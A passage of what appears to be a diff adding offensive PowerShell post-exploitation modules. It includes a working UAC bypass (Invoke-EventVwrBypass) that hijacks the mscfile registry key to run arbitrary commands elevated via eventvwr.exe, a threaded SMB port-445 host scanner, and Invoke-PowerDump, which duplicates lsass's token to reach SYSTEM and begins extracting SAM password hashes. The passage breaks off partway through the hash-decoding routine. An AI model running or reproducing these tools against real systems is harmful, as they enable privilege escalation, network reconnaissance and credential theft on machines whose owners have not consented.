for ($x = 0; $x -lt $Length; $x++)
|
||||
{
|
||||
$result += $set | Get-Random
|
||||
}
|
||||
return $result
|
||||
}
|
||||
Function Invoke-Netstat {
|
||||
try {
|
||||
$TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
|
||||
$Connections = $TCPProperties.GetActiveTcpListeners()
|
||||
foreach($Connection in $Connections) {
|
||||
if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" }
|
||||
$OutputObj = New-Object -TypeName PSobject
|
||||
$OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address
|
||||
$OutputObj | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port
|
||||
$OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType
|
||||
$OutputObj
|
||||
}
|
||||
|
||||
} catch {
|
||||
Write-Error "Failed to get listening connections. $_"
|
||||
}
|
||||
}
|
||||
function Test-Administrator
|
||||
{
|
||||
$user = [Security.Principal.WindowsIdentity]::GetCurrent();
|
||||
(New-Object Security.Principal.WindowsPrincipal $user).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)
|
||||
}
|
||||
|
|
@ -0,0 +1,82 @@
|
|||
function Invoke-EventVwrBypass {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Bypasses UAC by performing an image hijack on the .msc file extension
|
||||
Expected to work on Win7, 8.1 and Win10
|
||||
|
||||
Only tested on Windows 7 and Windows 10
|
||||
|
||||
Author: Matt Nelson (@enigma0x3)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER Command
|
||||
|
||||
Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="
|
||||
|
||||
This will write out "Is Elevated: True" to C:\UACBypassTest.
|
||||
|
||||
#>
|
||||
|
||||
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
|
||||
Param (
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Command,
|
||||
|
||||
[Switch]
|
||||
$Force
|
||||
)
|
||||
|
||||
$mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
|
||||
#Add in the new registry entries to hijack the msc file
|
||||
if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
|
||||
New-Item $mscCommandPath -Force |
|
||||
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
|
||||
}else{
|
||||
Write-Verbose "Key already exists, consider using -Force"
|
||||
exit
|
||||
}
|
||||
|
||||
if (Test-Path $mscCommandPath) {
|
||||
Write-Verbose "Created registry entries to hijack the msc extension"
|
||||
}else{
|
||||
Write-Warning "Failed to create registry key, exiting"
|
||||
exit
|
||||
}
|
||||
|
||||
|
||||
$EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'
|
||||
|
||||
#Start Event Viewer
|
||||
if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
|
||||
$Process = Start-Process -FilePath $EventvwrPath -PassThru
|
||||
Write-Verbose "Started eventvwr.exe"
|
||||
}
|
||||
|
||||
#Sleep 5 seconds
|
||||
Write-Verbose "Sleeping 5 seconds to trigger payload"
|
||||
if (-not $PSBoundParameters['WhatIf']) {
|
||||
Start-Sleep -Seconds 5
|
||||
}
|
||||
|
||||
$mscfilePath = "HKCU:\Software\Classes\mscfile"
|
||||
|
||||
if (Test-Path $mscfilePath) {
|
||||
#Remove the registry entry
|
||||
Remove-Item $mscfilePath -Recurse -Force
|
||||
Write-Verbose "Removed registry entries"
|
||||
}
|
||||
|
||||
if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
|
||||
Stop-Process -Id $Process.Id
|
||||
Write-Verbose "Killed running eventvwr process"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,283 @@
|
|||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a Start and End IP.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from CIDR
|
||||
|
||||
Get-IPRange 192.168.1.0/24
|
||||
|
||||
.EXAMPLE
|
||||
Generating a list of IPs from Range
|
||||
|
||||
Get-IPRange -Range 192.168.1.1-192.168.1.50
|
||||
#>
|
||||
function New-IPv4Range
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$StartIP,
|
||||
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=2)]
|
||||
$EndIP
|
||||
)
|
||||
|
||||
# created by Dr. Tobias Weltner, MVP PowerShell
|
||||
$ip1 = ([System.Net.IPAddress]$StartIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip1)
|
||||
$ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
|
||||
|
||||
$ip2 = ([System.Net.IPAddress]$EndIP).GetAddressBytes()
|
||||
[Array]::Reverse($ip2)
|
||||
$ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
|
||||
|
||||
for ($x=$ip1; $x -le $ip2; $x++) {
|
||||
$ip = ([System.Net.IPAddress]$x).GetAddressBytes()
|
||||
[Array]::Reverse($ip)
|
||||
$ip -join '.'
|
||||
}
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a IP Address Objects for IPv4 and IPv6 Ranges given a ranges in CIDR or
|
||||
range <StartIP>-<EndIP> format.
|
||||
.EXAMPLE
|
||||
PS C:\> New-IPvRange -Range 192.168.1.1-192.168.1.5
|
||||
|
||||
Generate a collection of IPv4 Object collection for the specified range.
|
||||
|
||||
.EXAMPLE
|
||||
New-IPRange -Range 192.168.1.1-192.168.1.50 | select -ExpandProperty ipaddresstostring
|
||||
|
||||
Get a list of IPv4 Addresses in a given range as a list for use in another tool.
|
||||
#>
|
||||
function New-IPRange
|
||||
{
|
||||
[CmdletBinding(DefaultParameterSetName='CIDR')]
|
||||
Param(
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'CIDR',
|
||||
Position=0)]
|
||||
[string]$CIDR,
|
||||
|
||||
[parameter(Mandatory=$true,
|
||||
ParameterSetName = 'Range',
|
||||
Position=0)]
|
||||
[string]$Range
|
||||
)
|
||||
if($CIDR)
|
||||
{
|
||||
$IPPart,$MaskPart = $CIDR.Split('/')
|
||||
$AddressFamily = ([System.Net.IPAddress]::Parse($IPPart)).AddressFamily
|
||||
|
||||
# Get the family type for the IP (IPv4 or IPv6)
|
||||
$subnetMaskObj = [IPHelper.IP.Subnetmask]::Parse($MaskPart, $AddressFamily)
|
||||
|
||||
# Get the Network and Brodcast Addressed
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessNetworkAddress($IPPart, $subnetMaskObj)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::GetClasslessBroadcastAddress($IPPart,$subnetMaskObj)
|
||||
|
||||
# Ensure we do not list the Network and Brodcast Address
|
||||
$StartIP = [IPHelper.IP.IPAddressAnalysis]::Increase($StartIP)
|
||||
$EndIP = [IPHelper.IP.IPAddressAnalysis]::Decrease($EndIP)
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
elseif ($Range)
|
||||
{
|
||||
$StartIP, $EndIP = $range.split('-')
|
||||
[IPHelper.IP.IPAddressAnalysis]::GetIPRange($StartIP, $EndIP)
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.Synopsis
|
||||
Generates a list of IPv4 IP Addresses given a CIDR - All credit to @darkoperator
|
||||
.DESCRIPTION
|
||||
Generates a list of IPv4 IP Addresses given a CIDR.
|
||||
.EXAMPLE
|
||||
Generating a list of IPs
|
||||
PS C:\> New-IPv4RangeFromCIDR -Network 192.168.1.0/29
|
||||
192.168.1.1
|
||||
192.168.1.2
|
||||
192.168.1.3
|
||||
192.168.1.4
|
||||
192.168.1.5
|
||||
192.168.1.6
|
||||
192.168.1.7
|
||||
#>
|
||||
function New-IPv4RangeFromCIDR
|
||||
{
|
||||
param(
|
||||
[Parameter(Mandatory=$true,
|
||||
ValueFromPipelineByPropertyName=$true,
|
||||
Position=0)]
|
||||
$Network
|
||||
)
|
||||
# Extract the portions of the CIDR that will be needed
|
||||
$StrNetworkAddress = ($Network.split('/'))[0]
|
||||
[int]$NetworkLength = ($Network.split('/'))[1]
|
||||
$NetworkIP = ([System.Net.IPAddress]$StrNetworkAddress).GetAddressBytes()
|
||||
$IPLength = 32-$NetworkLength
|
||||
[Array]::Reverse($NetworkIP)
|
||||
$NumberOfIPs = ([System.Math]::Pow(2, $IPLength)) -1
|
||||
$NetworkIP = ([System.Net.IPAddress]($NetworkIP -join '.')).Address
|
||||
$StartIP = $NetworkIP +1
|
||||
$EndIP = $NetworkIP + $NumberOfIPs
|
||||
# We make sure they are of type Double before conversion
|
||||
If ($EndIP -isnot [double])
|
||||
{
|
||||
$EndIP = $EndIP -as [double]
|
||||
}
|
||||
If ($StartIP -isnot [double])
|
||||
{
|
||||
$StartIP = $StartIP -as [double]
|
||||
}
|
||||
# We turn the start IP and end IP in to strings so they can be used.
|
||||
$StartIP = ([System.Net.IPAddress]$StartIP).IPAddressToString
|
||||
$EndIP = ([System.Net.IPAddress]$EndIP).IPAddressToString
|
||||
New-IPv4Range $StartIP $EndIP
|
||||
}
|
||||
|
||||
$runme =
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$Creds,
|
||||
[Object]
|
||||
$Command
|
||||
)
|
||||
|
||||
$getcreds = $Creds
|
||||
$Port = 445
|
||||
$Socket = New-Object Net.Sockets.TcpClient
|
||||
$Socket.client.ReceiveTimeout = 2000
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$Socket.Connect($IPAddress, $Port)
|
||||
$ErrorActionPreference = 'Continue'
|
||||
|
||||
if ($Socket.Connected) {
|
||||
$endpointResult = New-Object PSObject | Select-Object Host
|
||||
$endpointResult.Host = $IPAddress
|
||||
$Socket.Close()
|
||||
} else {
|
||||
$portclosed = 'True'
|
||||
}
|
||||
|
||||
$Socket = $null
|
||||
return $endpointResult
|
||||
}
|
||||
<#
|
||||
.Synopsis
|
||||
445 Scan over Windows(TCP 445) - @benpturner
|
||||
.DESCRIPTION
|
||||
445 Scan over Windows(TCP 445) - @benpturner
|
||||
.EXAMPLE
|
||||
Invoke-Hostscan -IPRangeCIDR 172.16.0.0/24
|
||||
#>
|
||||
function Invoke-Hostscan
|
||||
{
|
||||
param
|
||||
(
|
||||
[Object]
|
||||
$IPAddress,
|
||||
[Object]
|
||||
$IPRangeCIDR,
|
||||
[Object]
|
||||
$IPList,
|
||||
[Object]
|
||||
$Threads
|
||||
)
|
||||
|
||||
if ($IPList) {$iprangefull = Get-Content $IPList}
|
||||
if ($IPRangeCIDR) {$iprangefull = New-IPv4RangeFromCIDR $IPRangeCIDR}
|
||||
if ($IPAddress) {$iprangefull = $IPAddress}
|
||||
Write-Output ''
|
||||
Write-Output $iprangefull.count Total hosts read from file
|
||||
|
||||
$jobs = @()
|
||||
$start = get-date
|
||||
Write-Output `n"Begin Scanning at $start" -ForegroundColor Red
|
||||
|
||||
#Multithreading setup
|
||||
# create a pool of maxThread runspaces
|
||||
if (!$Threads){$Threads = 64}
|
||||
$pool = [runspacefactory]::CreateRunspacePool(1, $Threads)
|
||||
$pool.Open()
|
||||
$endpointResults = @()
|
||||
$jobs = @()
|
||||
$ps = @()
|
||||
$wait = @()
|
||||
|
||||
$i = 0
|
||||
#Loop through the endpoints starting a background job for each endpoint
|
||||
foreach ($endpoint in $iprangefull)
|
||||
{
|
||||
while ($($pool.GetAvailableRunspaces()) -le 0) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# create a "powershell pipeline runner"
|
||||
$ps += [powershell]::create()
|
||||
|
||||
# assign our pool of 3 runspaces to use
|
||||
$ps[$i].runspacepool = $pool
|
||||
|
||||
# command to run
|
||||
[void]$ps[$i].AddScript($runme)
|
||||
[void]$ps[$i].AddParameter('IPAddress', $endpoint)
|
||||
[void]$ps[$i].AddParameter('Creds', $getcreds)
|
||||
[void]$ps[$i].AddParameter('Command', $Command)
|
||||
# start job
|
||||
$jobs += $ps[$i].BeginInvoke();
|
||||
|
||||
# store wait handles for WaitForAll call
|
||||
$wait += $jobs[$i].AsyncWaitHandle
|
||||
|
||||
$i++
|
||||
}
|
||||
|
||||
Write-Output 'Waiting for scanning threads to finish...' -ForegroundColor Cyan
|
||||
|
||||
$waitTimeout = get-date
|
||||
|
||||
while ($($jobs | Where-Object {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(get-date) - $waitTimeout).totalSeconds) -gt 60) {
|
||||
Start-Sleep -milliseconds 500
|
||||
}
|
||||
|
||||
# end async call
|
||||
for ($y = 0; $y -lt $i; $y++) {
|
||||
|
||||
try {
|
||||
# complete async job
|
||||
$endpointResults += $ps[$y].EndInvoke($jobs[$y])
|
||||
|
||||
} catch {
|
||||
|
||||
# oops-ee!
|
||||
write-warning "error: $_"
|
||||
}
|
||||
|
||||
finally {
|
||||
$ps[$y].Dispose()
|
||||
}
|
||||
}
|
||||
|
||||
$pool.Dispose()
|
||||
|
||||
#Statistics
|
||||
$end = get-date
|
||||
$totaltime = $end - $start
|
||||
|
||||
Write-Output "We scanned $($iprangefull.count) endpoints in $($totaltime.totalseconds) seconds" -ForegroundColor green
|
||||
$endpointResults
|
||||
}
|
|
@ -0,0 +1,497 @@
|
|||
# Pulled from darkoperator's Posh-SecMod:
|
||||
# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
|
||||
function Invoke-PowerDump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Dumps hashes from the local system. Note: administrative privileges required.
|
||||
.DESCRIPTION
|
||||
Generate a command for dumping hashes from a Windows System PowerShell.exe -command
|
||||
Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
|
||||
and execute a hashdump by reading the hashes from the registry.
|
||||
.EXAMPLE
|
||||
$enc = Get-PostHashdumpScript
|
||||
C:\PS>powershell.exe -command $enc
|
||||
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
|
||||
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
||||
Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
|
||||
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::
|
||||
Executes the compressed command generated by the function and dumps the windows hashes from the registry.
|
||||
|
||||
.NOTES
|
||||
PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
|
||||
Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
|
||||
#>
|
||||
|
||||
$sign = @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
public static class priv
|
||||
{
|
||||
[DllImport("shell32.dll")]
|
||||
public static extern bool IsUserAnAdmin();
|
||||
}
|
||||
"@
|
||||
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
|
||||
function ElevatePrivs
|
||||
{
|
||||
$signature = @"
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct TokPriv1Luid
|
||||
{
|
||||
public int Count;
|
||||
public long Luid;
|
||||
public int Attr;
|
||||
}
|
||||
|
||||
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
|
||||
public const int TOKEN_QUERY = 0x00000008;
|
||||
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
|
||||
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
|
||||
|
||||
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
|
||||
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
|
||||
public const UInt32 TOKEN_DUPLICATE = 0x0002;
|
||||
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
|
||||
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
|
||||
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
|
||||
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
|
||||
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
|
||||
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
|
||||
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
|
||||
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
|
||||
TOKEN_ADJUST_SESSIONID);
|
||||
|
||||
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
|
||||
public const int ANYSIZE_ARRAY = 1;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID
|
||||
{
|
||||
public UInt32 LowPart;
|
||||
public UInt32 HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID_AND_ATTRIBUTES {
|
||||
public LUID Luid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
|
||||
public struct TOKEN_PRIVILEGES {
|
||||
public UInt32 PrivilegeCount;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
|
||||
public LUID_AND_ATTRIBUTES [] Privileges;
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
|
||||
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
|
||||
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool SetThreadToken(
|
||||
IntPtr PHThread,
|
||||
IntPtr Token
|
||||
);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
|
||||
UInt32 DesiredAccess, out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
|
||||
|
||||
[DllImport("kernel32.dll", ExactSpelling = true)]
|
||||
public static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
|
||||
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
|
||||
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
|
||||
"@
|
||||
|
||||
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
|
||||
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
|
||||
Write-Warning "Run the Command as an Administrator"
|
||||
Break
|
||||
}
|
||||
|
||||
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
|
||||
$adjPriv = [AdjPriv.AdjPriv]
|
||||
[long]$luid = 0
|
||||
|
||||
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
|
||||
$tokPriv1Luid.Count = 1
|
||||
$tokPriv1Luid.Luid = $luid
|
||||
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
|
||||
|
||||
$retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
|
||||
|
||||
[IntPtr]$htoken = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
|
||||
|
||||
|
||||
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
|
||||
$retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
|
||||
if(-not($retVal)) {
|
||||
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
|
||||
Break
|
||||
}
|
||||
|
||||
$process = (Get-Process -Name lsass)
|
||||
#$process.name
|
||||
[IntPtr]$hlsasstoken = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
|
||||
|
||||
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
|
||||
$retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
|
||||
|
||||
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
|
||||
|
||||
if(-not($retVal)) {
|
||||
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
|
||||
}
|
||||
}
|
||||
function LoadApi
|
||||
{
|
||||
$oldErrorAction = $global:ErrorActionPreference;
|
||||
$global:ErrorActionPreference = "SilentlyContinue";
|
||||
$test = [PowerDump.Native];
|
||||
$global:ErrorActionPreference = $oldErrorAction;
|
||||
if ($test)
|
||||
{
|
||||
# already loaded
|
||||
return;
|
||||
}
|
||||
$code = @"
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
namespace PowerDump
|
||||
{
|
||||
public class Native
|
||||
{
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegOpenKeyEx(
|
||||
int hKey,
|
||||
string subKey,
|
||||
int ulOptions,
|
||||
int samDesired,
|
||||
out int hkResult);
|
||||
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
|
||||
extern public static int RegEnumKeyEx(
|
||||
int hkey,
|
||||
int index,
|
||||
StringBuilder lpName,
|
||||
ref int lpcbName,
|
||||
int reserved,
|
||||
StringBuilder lpClass,
|
||||
ref int lpcbClass,
|
||||
out long lpftLastWriteTime);
|
||||
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
|
||||
extern public static int RegQueryInfoKey(
|
||||
int hkey,
|
||||
StringBuilder lpClass,
|
||||
ref int lpcbClass,
|
||||
int lpReserved,
|
||||
out int lpcSubKeys,
|
||||
out int lpcbMaxSubKeyLen,
|
||||
out int lpcbMaxClassLen,
|
||||
out int lpcValues,
|
||||
out int lpcbMaxValueNameLen,
|
||||
out int lpcbMaxValueLen,
|
||||
out int lpcbSecurityDescriptor,
|
||||
IntPtr lpftLastWriteTime);
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern int RegCloseKey(
|
||||
int hKey);
|
||||
}
|
||||
} // end namespace PowerDump
|
||||
public class Shift {
|
||||
public static int Right(int x, int count) { return x >> count; }
|
||||
public static uint Right(uint x, int count) { return x >> count; }
|
||||
public static long Right(long x, int count) { return x >> count; }
|
||||
public static ulong Right(ulong x, int count) { return x >> count; }
|
||||
public static int Left(int x, int count) { return x << count; }
|
||||
public static uint Left(uint x, int count) { return x << count; }
|
||||
public static long Left(long x, int count) { return x << count; }
|
||||
public static ulong Left(ulong x, int count) { return x << count; }
|
||||
}
|
||||
"@
|
||||
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
|
||||
$dllName = [PsObject].Assembly.Location
|
||||
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
|
||||
$assemblies = @("System.dll", $dllName)
|
||||
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
|
||||
$compilerParameters.GenerateInMemory = $true
|
||||
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
|
||||
if($compilerResults.Errors.Count -gt 0) {
|
||||
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
|
||||
}
|
||||
}
|
||||
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
|
||||
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
|
||||
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
|
||||
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
|
||||
$odd_parity = @(
|
||||
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
|
||||
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
|
||||
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
|
||||
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
|
||||
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
|
||||
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
|
||||
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
|
||||
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
|
||||
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
|
||||
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
|
||||
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
|
||||
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
|
||||
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
|
||||
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
|
||||
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
|
||||
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
|
||||
);
|
||||
function sid_to_key($sid)
|
||||
{
|
||||
$s1 = @();
|
||||
$s1 += [char]($sid -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
|
||||
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
|
||||
$s1 += $s1[0];
|
||||
$s1 += $s1[1];
|
||||
$s1 += $s1[2];
|
||||
$s2 = @();
|
||||
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
|
||||
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
|
||||
return ,((str_to_key $s1),(str_to_key $s2));
|
||||
}
|
||||
function str_to_key($s)
|
||||
{
|
||||
$key = @();
|
||||
$key += [Shift]::Right([int]($s[0]), 1 );
|
||||
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
|
||||
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
|
||||
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
|
||||
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
|
||||
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
|
||||
